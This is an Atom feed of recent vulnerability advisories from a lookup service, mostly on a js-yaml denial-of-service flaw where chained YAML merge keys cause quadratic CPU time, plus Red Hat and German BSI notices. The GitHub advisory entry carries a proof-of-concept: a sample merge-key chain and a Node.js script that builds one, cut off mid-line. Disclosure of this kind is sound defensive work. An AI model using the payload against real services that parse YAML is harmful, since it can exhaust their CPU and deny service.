<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-03T16:14:48.713693+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-335273</id>
    <title>EUVD-2026-335273</title>
    <updated>2026-10-03T16:14:48.874344+00:00</updated>
    <content>EUVD-2026-335273</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-335273"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-59868</id>
    <title>fkie_cve-2026-59868</title>
    <updated>2026-10-03T16:14:48.874384+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-59868"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-g796-fgmg-93mv</id>
    <title>GHSA-g796-fgmg-93mv — js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml</title>
    <updated>2026-10-03T16:14:48.874416+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: js-yaml</p>
<p>### Impact</p>
<p>This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default</p>
<p>When merge keys (`&lt;&lt;`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:</p>
<p>```yaml
a0: &amp;a0 { k0: 0 }
a1: &amp;a1 { &lt;&lt;: *a0, k1: 1 }
a2: &amp;a2 { &lt;&lt;: *a1, k2: 2 }
a3: &amp;a3 { &lt;&lt;: *a2, k3: 3 }
...
b: *aN
```</p>
<p>For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.</p>
<p>### PoC</p>
<p>From N = 4000 delay become &gt; 1s (doc size &lt; 100K)</p>
<p>```js
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'</p>
<p>const n = Number(process.argv[2] || 4000)</p>
<p>function makeMergeChain (count) {
  const lines = ['a0: &amp;a0 { k0: 0 }']</p>
<p>for (let i = 1; i &lt; count; i++) {
    lines.push(`a${i}: &amp;a${i} { &lt;&lt;: *a${i - 1}, k${i}: ${i} }`)
  }</p>
<p>lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}</p>
<p>const source = makeMergeChain(n)</p>
<p>console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)</p>
<p>const started = performance.now()
const result = load(source, { schema: YAML11_…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-g796-fgmg-93mv"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/rhsa-2026:26994</id>
    <title>RHSA-2026:26994 — Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update</title>
    <updated>2026-10-03T16:14:48.874471+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>dotnet: .NET: Local file tampering via link following vulnerability dotnet: ASP.NET Core: Denial of Service via uncontrolled resource consumption ws: ws: Uninitialized memory disclosure via `websocket.close()` with `TypedArray` engine.io: Engine.IO: Denial of Service via crafted WebTransport session ID js-yaml: js-yaml: Denial of Service via quadratic CPU time parsing with merge keys js-yaml: js-yaml: Denial of Service via crafted YAML ordered-map document</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/rhsa-2026:26994"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-59868</id>
    <title>UBUNTU-CVE-2026-59868</title>
    <updated>2026-10-03T16:14:48.874498+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Ubuntu:18.04:LTS: node-js-yaml, Ubuntu:20.04:LTS: node-js-yaml, Ubuntu:22.04:LTS: node-js-yaml, Ubuntu:24.04:LTS: node-js-yaml, Ubuntu:25.10: node-js-yaml, Ubuntu:26.04:LTS: node-js-yaml</p>
<p>js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-59868"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/wid-sec-w-2026-3221</id>
    <title>WID-SEC-W-2026-3221 — IBM App Connect Enterprise: Mehrere Schwachstellen</title>
    <updated>2026-10-03T16:14:48.874525+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, vertrauliche Informationen offenzulegen oder Denial-of-Service-Zustände herbeizuführen.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/wid-sec-w-2026-3221"/>
  </entry>
</feed>
